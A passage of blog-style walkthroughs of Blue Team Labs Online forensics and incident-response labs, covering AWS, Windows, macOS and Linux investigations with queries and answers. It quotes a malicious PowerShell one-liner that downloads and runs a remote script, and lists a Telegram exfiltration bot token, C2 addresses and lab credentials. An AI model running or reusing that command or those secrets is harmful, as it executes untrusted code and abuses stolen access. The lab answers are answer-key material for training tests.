In the result we can see that the attacker’s way to forward emails to his account was achived my simple email forwarding:

### ANSWER ###

e110t.ecorp@proton.me

### ANSWER ###

14. After gaining access to AWS, the attacker escalated their privileges. What specific IAM API action was used for this?

Now we can change our source to AWS cloudtrail.json. First I’ve tried to found a good source to get information about AWS privilege escalations methods: AWS IAM Privilege Escalation — Methods and Mitigation.

Then I’ve checked all eventName values. Last eventName — CreateAccessKey - corresponds with the privilege escalation method describe in the article (mentioned above) in paragraph. 4 — “Creating a new user access key”

### ANSWER ###

CreateAccessKey

### ANSWER ###

15. What two user accounts did the attacker pivot to as part of the privilege escalation?

Now we can modify our search query by adding eventName=”CreateAccessKey” and by modifying fields:

index=* source=”cloudtrail.json” “13.250.112.17” eventName=”CreateAccessKey”
| top limit=2 _time eventName requestParameters.userName responseElements.accessKey.accessKeyId responseElements.accessKey.createDate responseElements.accessKey.status responseElements.accessKey.userName
| sort _time

In the results we can clearly see both user accounts along with Access Key details:

### ANSWER ###

Bryn, EiraSnow

### ANSWER ###

16. Using the first escalated account, the attacker accessed storage in AWS. How many files did the attacker downloaded successfully (via CLI)?

To identify which file or files was/were downloaded by the attacker we can use GetObject API call. We have to modify our query:

index=* source=”cloudtrail.json” “13.250.112.17” eventName=”GetObject”
| top limit=15 _time eventName requestParameters.Host requestParameters.bucketName requestParameters.key userIdentity.userName userAgent
| sort _time

In the results we can clearly see that the attacker using EiraSnow user account has downloaded 4 different (unique) files:

### ANSWER ###

4

### ANSWER ###

17. The attacker reset the master credential of an AWS Service. What is the service name, and when did this happen (in UTC)?

Asking Uncle Google about resetting the master credential of an AWS Service I got the following:

It was very helpful as we have a source named: RDSLogs.json.

Examining the Message values we can very fast spot interesting value: “Reset master credentials”.

Using the message value in our search query:

index=* source=”RDSLogs.json” Message=”Reset master credentials”
| sort _time

we have the only one single event:

### ANSWER ###

RDS, 2025-11-18 09:47:39

### ANSWER ###

### THE (HAPPY) END ###

### Platform ###

Blue Team Labs Online: https://blueteamlabs.online
URL: https://blueteamlabs.online/home/investigation/gearsmiths-wisdom-afa802ba83
Released: 2025.12.19
Difficulty: Medium
Category: INCIDENT RESPONSE

### Part of the FrostByte 2025 event ###

Investigations presented in chronological order:

1. Shimmerward Eye

2. Pathfinders Mark

3. Gearsmith’s Wisdom

4. Stormweaver’s Vision

5. Unbinding Flame

### Scenario ###

Beneath Snowpine rest the Ancient Mechanisms — great machines from the old world that few still understand. The elders who built them possessed the Gearsmith’s Wisdom — the ability to speak with these machines, understand their language, and know when something disturbs their sacred rhythms. The Frost Shadow has descended into these depths with stolen knowledge.

### What we have ###

• triage (Linux): logical-collection-gearsmithswisdom-20251117.tgz

• BeeKeeper Studio

• build-in Linux tools

### Before we start ###

I’ve extracted contents of the logical-collection-gearsmithswisdom-20251117.tgz archive into /home/ubuntu/Desktop/artefacts directory.

### Our adventure (Questions and Answers) ###

1. What was the SSH public key used by the attacker to gain access to the system?

I’ve started from investigating <artefacts_path>/home directory where I’ve found no entries (directories).

Then I’ve checked the <artefacts_path>/root directory:

As there was a .ssh directory I’ve moved into it and I’ve checked its contents:

After that using cat I’ve read the contents of authorized_keys file:

### ANSWER ###

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJed/yFhFPDmyZc2HM7W8sMQ5+P6rlmBSG6x0V57QBzM

### ANSWER ###

2. What is the card number the attacker inserted into the system?

As a first step I’ve investigated the root’s .bash_history file and it was a good choice. Scrolling down through the commands I’ve found actions on .sqlite file (database file) including following SQL queries (select and insert):

### ANSWER ###

26789645

### ANSWER ###

3. What user did the attacker masquerade as?

From the queries executed by the attacker we know where the database is located and that the person_id which was used by the attacker was 1. So we have to check who has this identifier in person table. To do that we can use sqlite3 or BeeKeeper Studio. We will use BeeKeeper Studio.

Person table structure:

Query and result:

### ANSWER ###

Cryos Hale

### ANSWER ###

4. When did the attacker gain access to the building?

Informations (data) about the events are stored in event table.

Event table structure:

Query and results:

So I’ve checked numbers in credential table. No other cards.

I’ve decided to check what CardNumber values are stored in event table:

There is a difference: we can see a CardNumber 26789655 while in credential table we have a 26789645.

I’ve tried the previous query with new value. Query and results:

### ANSWER ###

2025-11-17 15:07:42

### ANSWER ###

5. What time did the attacker leave the building?

Using the same query. Query and results:

### ANSWER ###

2025-11-17 17:32:32

### ANSWER ###

6. What database system is being used by the application?

Using database filename extension — .sqlite — we can identified the database system.

### ANSWER ###

sqlite

### ANSWER ###

7. What time did the attacker gain access to the system?

As the attacker got access via ssh we have to find the ssh log which is located in following location: <artefacts_path>/var/log/systemd/ssh.service.log

Examining log contents we can spot successful logons:

### ANSWER ###

11:20:52

### ANSWER ###

8. How many extra cards have been added to the system?

Based on our logs (database) analysis we could assume that the attacker has added 2 different cards — informations (and data) about the first one (26789645) are still stored in credential and credential_assignment tables while informations about the second one (26789655) are stored in event table. But it’s still the same card but the record probably was manually changed by the attacker as there are no other evidences (commands) in .bash_history file. Moreover attacker also modified information about last event entry — set to (NULL) - in credential table record related to the inserted card number.

### ANSWER ###

1

### ANSWER ###

9. Which user enters the building the most?

For this one I’ve used a mix of commandline tools and BeeKeeper Studio.

Firstly I’ve count the events per CardNumber:

Then, having the CardNumber with the highest number of events I’ve run another query:

### ANSWER ###

Cryos Hale

### ANSWER ###

10. What IP address did the attacker connect from?

We can use the same informations as for Q7:

### ANSWER ###

192.168.1.130

### ANSWER ###

11. When was Aporta installed on the system?

To get this information we have to examine the contents of the dpkg.log which is stored in following location: <artefacts_path>/var/log/dpkg.log

Now we only have to find informations related to aporta:

### ANSWER ###

2025-11-11 16:01:39

### ANSWER ###

### THE (HAPPY) END ###

### Platform ###

Blue Team Labs Online: https://blueteamlabs.online
URL: https://blueteamlabs.online/home/investigation/pathfinders-mark-40f725ed70
Released: 2025.12.12
Difficulty: Medium
Category: INCIDENT RESPONSE

### Part of the FrostByte 2025 event ###

Investigations presented in chronological order:

1. Shimmerward Eye

2. Pathfinders Mark

3. Gearsmith’s Wisdom

4. Stormweaver’s Vision

5. Unbinding Flame

### Scenario ###

The elders knew that enemies move like whispers through connected realms, leaving invisible tracks only the trained can see. They created the Pathfinder’s Mark — the sacred ability to illuminate every step an adversary takes, no matter how carefully they try to hide. The Frost Shadow has moved through our Archives, creeping from humble chambers to the seats of power.

### What we have ###

• HUSKY- endpoints triage images — .vhdx files (DC01, WKSTN1, WKSTN2)

• HUSKY- endpoints memory dumps — .dmp files (DC01, WKSTN1, WKSTN2)

• ELK

• and more… in the Tooling folder

### Before we start ###

Logs period in ELK and in triage images are different. If you can’t find something in ELK try within the triage images 👍

I’ve mapped triage images (.vhdx files) as follow:

• DC01 as D:

• WKSTN1 as E:

• WKSTN2 as F:

❗It’s good to parse $MFT, $J, prefetch and event log files (.evtx) from every endpoint using EZTools.

‼️Always create timeline and keep it updated to track the adversary’s actions.

### Our adventure (Questions and Answers) ###

1. Hunting for TA0005 (Defense Evasion), on the workstation where initial access occurred, the threat actor made a change to its AV configuration prior to executing commands. What was the event ID that triggered AV bypass attempt? What is the date and time of the event?

In the question we have a small hint: event was triggered so AV must detect the attempt. I’ve identified that the AV used on DC and both workstations was Windows Defender. There is no logs from AV in ELK so we have to examine Microsoft Windows event log — Microsoft-Windows-Windows Defender/Operational.evtx). Event ID which we can use is Event ID: 1116 (The antimalware platform detected malware or other potentially unwanted software) because we know that the attempt was detected.

Using this event ID as a filter against Windows Defender event log files from all endpoints (DC01, WKSTN1 and WKSTN2) we have only one single hit on WKSTN1:

### ANSWER ###

1116, 2025-11-12 07:21:24

### ANSWER ###

2. Hunting for Command and Control (TA0011): What is the IP address of the threat actor-controlled VPN server? and what port was it using?

I’ve started from simple query in ELK: “*vpn*”. All the returned events were related only to WKSTN1. Examining the results I’ve found that user HUSKY\bryn have edited OpenVPN files:

During the same period user HUSKY\Administrator have downloaded OpenVPN files. According to their filenames such files were also downloaded earlier — added (1) to filename.

File huskycorp.ovpn which was modified by bryn about 15 minutes earlier was loaded as a config file for OpenVPN application.

Another interesting thing is the creation of the OpenVPN_HuskyCorp scheduled task.

We can also spot that there were other events on November 5th related to openvpnscriipt.ps1 file (double “i” looks suspicious):

As there no other events to investigate in ELK we’ve to check the Event Logs from WKSTN1. Using “scriipt” as a search term and limiting event logs only to events before November 5th I’ve finally got 16 events to investigate.

It looks like the script was used to install and configure OpenVPN application. The file itself was downloaded by the user using Microsoft Edge browser:

It was downloaded from:

Changing search term to “ovpn” I’ve found out that the new scheduled task (OpenVPN_AutoConnect_husky-wkstn1) was created and husky-wkstn1.ovpn config file was used (earlier we’ve found another scheduled task with another config file):

About 20 minutes later we can spot another scheduled task creation. This time it’s the same one which we’ve found in ELK earlier. Also we can spot that on November 3rd the scheduled task OpenVPN_AutoConnect_husky-wkstn1 was probably disabled.

Investigating further I’ve found that the huskycorp.ovpn file was downloaded by the user using Microsoft Edge browser:

It was downloaded from another site than the openvpnscriipt.ps1 which potentially was then under attacker’s control:

### ANSWER ###

206.189.88.111:8000

### ANSWER ###

3. Hunting for Persistence T1136 (Create Account): An account was created by the threat actor as part of maintaining persistence on the endpoint. What was the account name and password?

Firstly we have to identified what account (user name) was created. So we can use Event ID: 4720 (A user account was created) as a search value. Using ELK we have only one single hit:

From another Security event log entry (Event ID: 4738 — An account was changed and Event ID: 4724 — An attempt was made to reset an accounts password) we know when the password was set:

Now, as we have the user name we can use it as a search value and look for Sysmon’s Event ID: 1 (Process Create) which stores the password value when the user is added from the commandline. As a result we’ve got 6 events (paired into 3 unique events) — but only one have the same datetime as the one in Security event log. Other 2 has the datetime before the account was successfully created so the first one didn’t work (no account with such username, missing /add), second one also didn’t work. Only third attempt was successful.

### ANSWER ###

adm1ncorp:Persist!025

### ANSWER ###

4. Following to previous question, what groups was the user added to?

To get this we can use Event ID: 4732 (A member was added to a security-enabled local group). We only have to remember that this event doesn’t store the target account name — only it’s SID. From the previous question we know that adm1ncorp SID is: S-1–5–21–3327932367–4150165945–2587022981–1007. We can now use following query:

winlog.event_id :4732 AND winlog.event_data.MemberSid : “S-1-5-21-3327932367-4150165945-2587022981-1”

As a result we have only 3 records where the first one is related to account creation:

### ANSWER ##

Administrators, Remote Management Users

### ANSWER ###

5. Hunt for T1105 (Ingress Tool Transfer). At what path does the threat actor place their binary in the victim endpoint? Provide the full path.

From the Q1 we know that the attacker was using wsmprovhost.exe (Host Process for Windows Remote Management, WinRM). Let’s use this process as a search term:

### ANSWER ###

C:\Windows\Temp\ConnectWise.exe

### ANSWER ###

6. Hunting for TA0002 (Execution), What windows native tool was used to execute the binary from the remote endpoint?

### ANSWER ###

WMIC.exe

### ANSWER ###

7. Following previous question, What is the SHA256 hash of the malicious binary?

As we know that the binary (executable) was run on the remote host, we can look for this event. In the results we can spot the WKSTN2 (remote endpoint):

As we have the Sysmon Event ID: 1 (Process Create) event we can easily get the SHA256 of the malicious binary:

### ANSWER ###

8613C020F8B422A54CA6320BF764C6D64B410873ED84C76301EC31B0A552004D

### ANSWER ###

8. Hunting for Malicious Traffic TA0011 (Command and Control), What is the C2 IP and Port to which the stager connects?

As we know the malicious executable filename we can use it with Sysmon Event ID: 3 (Network connection detected).

“ConnectWise.exe” AND event.code:3

### ANSWER ###

178.62.48.123:8000

### ANSWER ###

9. Hunting for T1055 (Process Injection). What is the PID of the binary that was created as a sacrificial process to inject its malicious code? What is the name of the process?

We can start from using Sysmon Event ID: 8 (CreateRemoteThread detected). From the result we have the target process ID but not the target process name:

Using the process ID we can identify the process name itself:

### ANSWER ###

13828, svchost.exe

### ANSWER ###

10. Hunting for Malicious Traffic TA0011 (Command and Control), What is the IP and Port used by the second stage C2 stager?

As we know the malicious executable process ID we can use it with Sysmon Event ID: 3 (Network connection detected).

event.code:3 AND winlog.event_data.ProcessId:13828

### ANSWER ###

143.110.247.108:8080

### ANSWER ###

11. Hunting for T1588.002 (Tool), What external tool was used by the threat actor to turn off endpoint defenses? What are the arguments?

Further investigation of the svchost.exe (suspicious) activity revealed that it has created rundll32.exe and next rundll32.exe has created WerFaultSecure.exe.

Using WerFaultSecure.exe and it’s commandline parameters as a Google search query will give an answer about the tool in question.

But it’s not the OSINT question, so it’s not the end😈

So let’s try to find the tool in lab environment. We know that the tool was probably run by/from the rundll32.exe process (PID: 12980). As we have the memory dump for WKSTN2 we can use it — we also have MemProcFS for our disposal. Then we have everything we need!

There’s no rundll32.exe (PID: 12980) but we have svchost.exe (PID: 13828):

Next I wrote simple YARA rule using WerFaultSecure.exe commandline parameters:

and run it with yara64.exe on svchost.exe (PID: 13828) minidump file. Got few hits!

Now we can use strings.exe on process minidump.dmp file. Next open the file with collected strings in Notepad++ and let’s look for our hits. Yep, it’s there!

### ANSWER ###

EDR-Freeze.exe 3004 10000

### ANSWER ###

12. Following previous question, What process was disabled by this tool?

Process ID: 3004 was also present:

### ANSWER ###

MsMpEng.exe

### ANSWER ###

13. Hunting for T1567 (Exfiltration Over Web Service), What token was used for this campaign? What ChatID was used?

The ChatID is related to Telegram chat/messaging app.

We can use “telegram” in our search query. As a result we will get few DNS requests and few Sysmon EventID:1 events (from WKSTN2) showing that the .bat script was executed and it run curl for web browser data exfiltration into Telegram:

### ANSWER ###

bot8447304917:AAGWFbBAGeY4xlQ84qzGFESUj6At7m2tMDE, 7778359493

### ANSWER ###

14. Hunting for T1217 (Browser Information Discovery): A browser-related files was stolen. What interesting URL can be found in Mira’s browser history that can be used by the threat actor to pivot deeper within the Husky Corp network?

For this one we can use Hindsight or DB Browser for SQLite. Mira’s browser history file is located in following directory (WKSTN2): F:\C\Users\mira\AppData\Local\Google\Chrome\User Data\Default.

We need to load History file into DB Browser for SQLite and check the urls table records:

### ANSWER ###

https://snowpine-festival.azurewebsites.net/

### ANSWER ###

15. Hunting for Discovery, A SSH configuration file was stolen by the threat actor in Bryn’s account, What is the name of the file?

Using “ssh” in our search query will give us more than just few results. We have to filter them a little bit. Finally we can spot a file named id_iot.ppk (where the extension .ppk stands for PuTTY Private Key). In it’s contents we have an OPENSSH PRIVATE KEY:

### ANSWER ###

id_iot.ppk

### ANSWER ###

16. Hunting for T1135 (Network Share Discovery), What is the drive name established from the victim endpoint to the husky corp domain controller?

We can use “net share” phrase in our search query. As a result we will get just a few records related to DC01 (IP address: 10.0.0.17).

### ANSWER ###

Z:

### ANSWER ###

17. Hunting for Persistence T1053.005 (Scheduled Task): A scheduled task was added to the domain controller. What is the task name and the full path of the binary it executes?

We can hunt for this one using 2 different ways (approaches):

1. Looking for Event ID: 106 (A task has been registered).

Using this event ID as a filter we have following results:

But we don’t get the full path of the binary. So we need to look for something else.

2. Looking for execution of schtasks command:

### ANSWER ###

ConnectWiseRMM_Updater, C:\Users\Administrator\AppData\Roaming\ConnectWise.exe

### ANSWER ###

18. Hunting for Defense Evasion T1562.004 (Disable or Modify System Firewall): A firewall rule was added on the domain controller to allow external access. What is the rule name and the opened port?

We can hunt for this one using 2 different ways (approaches):

1. Event ID: 2004 (A rule has been added to the Windows Defender Firewall exception list) in Microsoft-Windows-Windows Firewall With Advanced Security/Firewall.evtx

Using this event ID as a filter we have following results:

To get the port we have to go to Details tab:

2. Looking for execution of netsh (Network Shell) command:

### ANSWER ###

Allow RDP External, 3389

### ANSWER ###

19. Hunting for Command and Control T1071.001 (Web Protocols): A threat actor used a disposable server and hosted multiple tools under the same folder. What is the URL of the server?

During the early questions related to WKSTN1 (before attacker pivoted to WKSTN2) I’ve examined the BITS (Microsoft-Windows-Bits-Client/Operational) event log and I’ve found how the ConnectWise.exe was downloaded and most important from where.

I’ve used the IP address in search query and got following as the result. We can clearly see that the attacker downloaded few tools from the URL:

### ANSWER ###

http://143.110.180.185/XvWfawhvbWabb

### ANSWER ###

### THE (HAPPY) END ###

### Platform ###

Blue Team Labs Online: https://blueteamlabs.online
URL: https://blueteamlabs.online/home/investigation/shimmerward-eye-45cae3c38c
Released: 2025.12.05
Difficulty: Medium
Category: DIGITAL FORENSICS

### Part of the FrostByte 2025 event ###

Investigations presented in chronological order:

1. Shimmerward Eye

2. Pathfinders Mark

3. Gearsmith’s Wisdom

4. Stormweaver’s Vision

5. Unbinding Flame

### Scenario ###

Long ago, the elders faced enemies who disguised their malice as innocent gifts and treasures. To counter this, they developed the Shimmerward Eye — a legendary ability to peer through any disguise and see corruption’s true form, no matter how beautiful the mask. A contractor brought what appeared to be a simple game into Snowpine during festival preparations, but something feels wrong.

### What we have ###

• MacOS triage (C:\Users\BTLOTest\Desktop\Artefacts\ShimmerwardEye\sysadmins-iMac-Pro_20251107_200312\sysadmins-iMac-Pro-Triage\)

• ChainBreaker

• FSEventsParser

• UnifiedLogIterator

• DB Browser for SQLite

• CyberChef

• WSL (Windows Subsystem for Linux)

• and more… in the Tooling folder

### Before we start ###

It’s good to parse the logs at the very beginning:

• UnifiedLogs using UnifiedLogIterator (should take about ~10 minutes or more, ~8.5 GB .csv file, ignore all errors):

• FSEvents using FSEventsParser (should take 3–4 minutes, ~360MB .tsv file):

### Our adventure (Questions and Answers) ###

1. Excited to try a new game, the victim downloaded a malicious file from a file-sharing site. What is the name of that site?

So we’re starting from investigating the web browser history which is stored in the History file in the following location: \Users\jnoctis\Library\Application-Support\Google\Chrome\Default

We have to load the file into DB Browser for SQLite and investigate contents stored in the downloads table. We can use following SQL query to get only interesting fields:

select current_path, start_time, end_time, referrer, mime_type from downloads

### ANSWER ###

toffeeshare.com

### ANSWER ###

2. What is the full path of that downloaded file?

From the same query results we also have the full path of downloaded file:

### ANSWER ###

/Users/jnoctis/Downloads/NocturneUnbound-Complete.zip

### ANSWER ###

3. What is the timestamp (UTC) when the download completed?

Again we can use same query results:

But this time we have to convert the highlighted data (13407013131956550) using DCode:

### ANSWER ###

2025-11-07 18:18:51

### ANSWER ###

4. Curious about the download, the victim opened the archive. The downloaded file, however, contained a malicious app. What was its bundle identifier?

Now we can use our parsed UnifiedLogs. As we have 8.5 GB of data we won’t open it using Notepad++, nor Timeline Explorer.

As we know when the game file was downloaded we can create new file with less records (and smaller in size). We can use WSL and (e)grep the file using following regex: ^(2025–11–07T18\:[1–5]) just to extract records with particular date and time (likely 50 minutes of activity):

Finally we have a much smaller file in size… just ~200MB👍

Now we can simply use grep and look for the “nocturne” keyword (as the game is called “NocturneUnbound”):

### ANSWER ###

com.nocturne.unbound

### ANSWER ###

5. After the victim tried to run the app, the system flagged it as coming from an untrusted developer. When (UTC) did Gatekeeper’s security check allow the app to run?

Looking for informations on the web about Gatekeeper and its logs I’ve run into resources listed below:

• Objective-See’s Blog

• All Your Macs

In both sources it is mentioned that “GK evaluateScanResult: 2” is a positive result of the GateKeeper (GK) scan performed on the application — it is allowed to run.

So let’s try to find out if any such event related to evaluateScanResult value exists in our logs. There is only one single event showing “evaluateScanResult: 2” so, according to the log, malicious app was allowed to run.

### ANSWER ###

2025-11-07 18:22:42

### ANSWER ###

6. What is the timestamp (UTC) of the final launch attempt of that app?

Analysing the logs it looks like there were 4 attempts to run the application:

### ANSWER ###

2025-11-07 18:55:10

### ANSWER ###

7. How many unique files from the victim’s Documents folder were exfiltrated?

Now we can load our FSEvents parsed logs into Timeline Explorer. We can filter the fullpath using “Documents” keyword. As we know from previous question there were 4 successful attempts to run the application so exploring the results at some point should give us 4 identical batch of records. Finally getting into records related to files stored in personal (10 files) and APT (12 files) directories = 22 files.

### ANSWER ###

22

### ANSWER ###

8. Once the app was running, it collected the victim’s data into a single staging file. What is the name of this file?

We can drop our previous filter. Now we should focus on examining records in close approximity of the exfiltrated data (files) and possibly in the same path: Users/jnoctis/Downloads/NocturneUnbound-Complete/NocturneUnbound.app/Contents/MacOS.

Zip archive looks good enough!

### ANSWER ###

homebrew.zip

### ANSWER ###

9. What external API service did the malware contact before connecting to the C2?

Examining different logs and sources in the triage image I’ve finally found the osquery osqueryd.results.log file. Using grep I’ve found the records related to NocturneUnbound with IP addresses and ports:

Now let’s Google all of them… one by one:

• 188.114.96[.]3

• 188.114.97[.]3

• 104.26.12[.]205

### ANSWER ###

api.ipify.org

### ANSWER ###

10. What is the C2 server address and port used by the malware?

The last one looks much more suspicious due to the remote port value: 4443 which is/was a good indicator for a C2 server:

### ANSWER ###

98.81.97.21:4443

### ANSWER ###

11. During analysis of the Mac, you discover the victim’s credentials stored on the system. What is the victim’s local account password?

I’ve started from investigating user applications. What they are used for, where they store data and what data… and can we read it. Found few that could be really interesting in our case.

• .purple -> plugin for Pidgin (universal chat client);

• Adium 2.0 -> instant messaging application;

• Spark Desktop -> cross-platform email client

For those who want to know the whole story behind this investigation I recommend to investigate all 3 apps. In other way we only have to investigate Spark Desktop. The data we need is stored in \core-data directory — sqlite databases (no encryption).

Looking at the files we can see a file named messages.sqlite. Looks good. We can load it into DB Browser for SQLite. Investigating messages table we can finally find a following message with a “Macbook login” credentials:

### ANSWER ###

J3tt!Noxx

### ANSWER ###

12. Aside from the victim’s Husky domain credentials, which other employee account from the same org had its credentials stolen? Provide the username and password.

Having the password we can now use ChainBreaker to unlock keychain file (login.keychain-db which is stored in \Users\jncotis\Library\Keychains directory) and retrieve other employee credentials.

First attempt without the password (or invalid password) just to see the output:

We can see the user/account value but not the password:

Second attempt with the password provided:

This time everything went as it should and we have credentials in plaintext:

### ANSWER ###

bryn:BreakingBark2025!

### ANSWER ###

### THE (HAPPY) END ###

### Platform ###

Blue Team Labs Online: https://blueteamlabs.online
URL: https://blueteamlabs.online/home/investigation/zeta-end-2a5b4e8c18
Released: 2025.10.31
Difficulty: Hard
Category: DIGITAL FORENSICS

### Part of the Trick or Threat 2025 event ###

Investigations presented in chronological order:

1. Patient Z-ero

2. The Walking Packets

3. The Headless Dead

4. Rotten Cloud

5. Zeta End

### Scenario ###

The situation has escalated to its breaking point: the cure — humanity’s last safeguard against the outbreak — has been fully erased from Zeta-9’s systems and simultaneously leaked onto the dark web; Dr. Frankenstein Code, head of the division, confirms there is no trace left across any researcher’s machine, raising fears of deliberate sabotage rather than simple theft. Investigators have already uncovered the attackers’ entry point: after compromising a trusted cloud-hosted web server, they defaced a site frequently visited by the Secret Division’s researchers. That single foothold allowed them to infect the Secret Division LAN, granting the access they needed to strike at the heart of Zeta-9. You have been contracted as part of Zeta-9’s Cyber Response & Incident Security Investigation Services (CRISIS) . Your mission: trace the breach, uncover what the attackers stole, and determine whether the company’s darkest secret — and humanity’s last hope — has already slipped beyond its grasp. The most urgent question remains: is the cure already slipped beyond recovery, or can you act quickly enough to reclaim it and pull Zeta-9 back from the edge of total collapse?

WARNING: this lab has a number of artifacts you will need to access on your internet connected machine

### What we have? ###

Workstation triage package created with Kape.

### Before we start###

At the time of this writeup many files from this investigation were uploaded and are available in VirusTotal and other online sandboxes making the analysis much easier. I’ve recreated my way to finish this investigation when I couldn’t check those files online just to show that this investigation could be finished without using those online tools.

In nearly every investigation with a triage available the first thing I usally do is using EZTools to parse $MFT, $J, Event Logs and Prefetch.

### Our adventure (Questions and Answers) ###

1. Investigators found that Dr. Frankenstein visited a compromised Zeta-9 web page that served the initial access to the Secret Division network. When did he access that page?

From the previous investigation — Rotten Cloud we know which website was compromised by the attacker. So we’re starting from checking the Dr.FrankensteinCode’s web browser history using DB Browser for SQLite. Browser history file (History) is located in the Artefacts folder in the following path: “C\Users\Dr.FrankensteinCode\AppData\Local\Microsoft\Edge\User Data\Default\”. Analysing the urls table we’ve finally found the compromised Zeta9 website which was visited by the user.

Now we have to convert last_visit_time. We can use DCode:

### ANSWER ###

2025-09-27 11:17:33

### ANSWER ###

2. While viewing a shared Zeta-9 document, Frankenstein unknowingly ran a payload delivered via the site. What is the name of the Powershell script he was tricked into executing?

As we have the URL we can visit (outside the investigation machine) the website identified in the previous question:

Not good. Not everything is lost as we can try to use Wayback Machine… and bingo! We have a single yet lucky hit:

We can see a compromised website with a file path and instructions:

Let’s examine the website source to understand how it works.

First part of the code contains the user iterface part (“instructions” element and “signature” attribute look suspicious):

Second part contains the javascript code snippet:

From the javascript code part we can see that there are few operations on the “instructions” element “signature” attribute value including atob function (decoding from Base64) and copying it’s value to clipboard. Let’s check those in CyberChef:

We can clearly see the powershell script filename above.

Also we can simply copy the file path and checked what we’ve really copied:

powershell.exe -ExecutionPolicy Bypass -Command “IEX (iwr https://gist.githubusercontent.com/a1l4m/6061b2f64b6ba3044ad6126d7b80a89e/raw/11ce5924a3c35d28bed2572db2bac7e2ac733af5/Microsoft.PowerShell.DataV4Adapter.ps1 -UseBasicParsing)”                                                                                      # \\Secret-Division-Shares\2025\Zeta9-Q3-Internals\Q3\Report.pdf€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€

### ANSWER ###

Microsoft.PowerShell.DataV4Adapter.ps1

### ANSWER ###

3. Based on the way the victim was duped into running the payload, identify the exact technique name the attacker used.

The key phrase to identify the technique is “File Explorer”. The technique which uses pasting and running commands from File Explorer address bar is known as FileFix.

### ANSWER ###

FileFix

### ANSWER ###

4. As Frankenstein was tricked into running a malicious command on their system, that has led to the execution of shellcode that granted the attacker full access to his machine. What is the MD5 hash of this shellcode?

Now we can use the URL from previous question and analyse the powershell script. Once more we have to do it outside the investigation machine. In our first step (first layer of obfuscation) we can focus only on the $compressedBase64 variable:

Using only 2 operations in our recipe in CyberChef we’re getting into the second level (layer). As the input we have to use $compressedBase64 variable contents:

Again we can only focus on $ETPvFICDa variable nad functions like reverse() and frombase64string():

Using CyberChef we’re getting into third level (layer) — as the input we have to use $ETPvFICDa variable contents:

Again we can see the decoded (deobfuscated) script with an URL and few important code sections. That’s the final level (layer):

URL contents:

We’re still using CyberChef. Let’s gather every piece together and create final recipe. As the input we have to use the IamTheDanger.txt contents:

### ANSWER ###

d3cf756ebbdf7b015a2ee4e154b638ee

### ANSWER ###

5. As a result of the shellcode running, Frankenstein’s machine reached back to a command-and-control host. Provide the external IP and port used.

Now as we have the shellcode we can save it directly from CyberChef or copy the hex values into hex editor like HXD (like I did). Then analyse it in safe environment (of course). In my case I’ve used a virtual machine (Kali Linux) with speakeasy shellcode emulator. It worked like a charm and shellcode revealed it’s secrets!

### ANSWER ###

35.158.153.237:34651

### ANSWER ###

6. After the C2 connection succeeded, the attacker ran a simple command to confirm identity and environment. Which command did they run to enumerate the machine?

Analysing the prefetch data (parsed using PECmd) the command which was run closest to the website visit time was whoami:

### ANSWER ###

whoami

### ANSWER ###

7. Shortly after gaining access, the intruder changed PowerShell’s execution policy. When exactly was that modification made?

The setting in questions is stored in the SOFTWARE registry file: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell and in NTUSER.dat registry file for every single user: HKEY_CURRENT_USER\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell. For the registry examination we can use RegistryExplorer.

As there were no changes made in the SOFTWARE registry:

we need to examine NTUSER.dat file for the Dr.FrankensteinCode user. There was a change made and the execution policy was set to Unrestricted:

### ANSWER ###

2025-09-27 11:19:49

### ANSWER ###

8. To survive reboots, the attacker dropped a secondary executable. What is the full filesystem path to the executable used for persistence?

Analysing $MFT and $J data (parsed using MFTCmd) we can see that the attacker downloaded a file into C:\Users\Dr.FrankensteinCode\Downloads directory. It was sapi.cpl which was later renamed to RunTimeBroker.exe and copied/moved to C:\Users\Public directory.

### ANSWER ###

C:\Users\Public\runtimebroker.exe

### ANSWER ###

9. Which tool did the attacker use to retrieve that persistence binary?

Prefetch analysis gave us information that sapi.cpl was downloaded using the rclone.exe utility which was present in the system before and used by the attacker:

### ANSWER ###

rclone

### ANSWER ###

10. When was the persistence mechanism actually put in place (i.e., when was the content that trigger the executable written)?

Further $J parsed data analysis have revealed that the attacker have modified the Microsoft.Powershell_profile.ps1 file in C:\Users\Dr.FrankensteinCode\Documents\WindowsPowerShell directory:

This file could be used for persistence according to Event Triggered Execution: PowerShell Profile, Sub-technique T1546.013 — Enterprise | MITRE ATT&CK®. Using MFTExplorer we can confirm that this file was modified to establish persistence by adding RunTimeBroker.exe filepath:

Analysing resident data in CyberChef gave us the same result:

### ANSWER ###

2025-09-27 11:35:08

### ANSWER ###

11. Which C2 server (IP:Port) did the persistence binary contact?

To get the IP and Port we can try to do a static analysis using IDA (the hard way for me). But we can also use Sysinternals utilities like ProcMon or TCPView. Let’s use both tools from Sysinternals toolset to catch the the IP and Port in question. It’s time to run RunTimeBroker.exe… fingers crossed… both tools have registered outgoing connections 👍

### ANSWER ###

63.178.44.21:8888

### ANSWER ###

12. Identify the framework used by the malicious file for command and control communication.

Asking Uncle Google about the malware default port 8888 for the C2 framework did the job:

### ANSWER ###

Sliver

### ANSWER ###

13. Once the intruder confirmed continued access, they casually explored the network of the secret division without fear of being cut off. They downloaded a ZIP file containing their exfiltration toolkit. Provide the MD5 hash of that ZIP.

$J parsed data analysis have revealed that the attacker have downloaded the CUREKiller.zip archive using certutil.exe:

There are no evidences in .\Users\Dr.FrankensteinCode\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content and Metadata directories related to CUREKiller.zip and the URL which was used to download this file.

Looking for any kind of evidence I’ve found following data in WebCacheV01.dat file (using Strings) located in the following path in artefacts folder: C\Users\Dr.FrankensteinCode\AppData\Local\Microsoft\Windows\WebCache directory:

From the x-ms-blob-content-md5 header value we can get the MD5 hash value. We only have to use CyberChef with correct recipe:

### ANSWER ###

b289a7f5fd8bcb22e5452d4fe3e57174

### ANSWER ###

14. Eventually, the adversary moved from reconnaissance to data theft. When exactly was the executable used for exfiltration run?

$J parsed data analysis revealed that the attacker after downloading CUREKiller.zip file have extracted it into CUREKiller directory. One of its contents was KillTheCure.exe file:

KillTheCure.exe file was run at (according to prefetch data):

### ANSWER ###

2025-09-27 15:49:58

### ANSWER ###

15. What is the IP address of the remote host used for exfiltration?

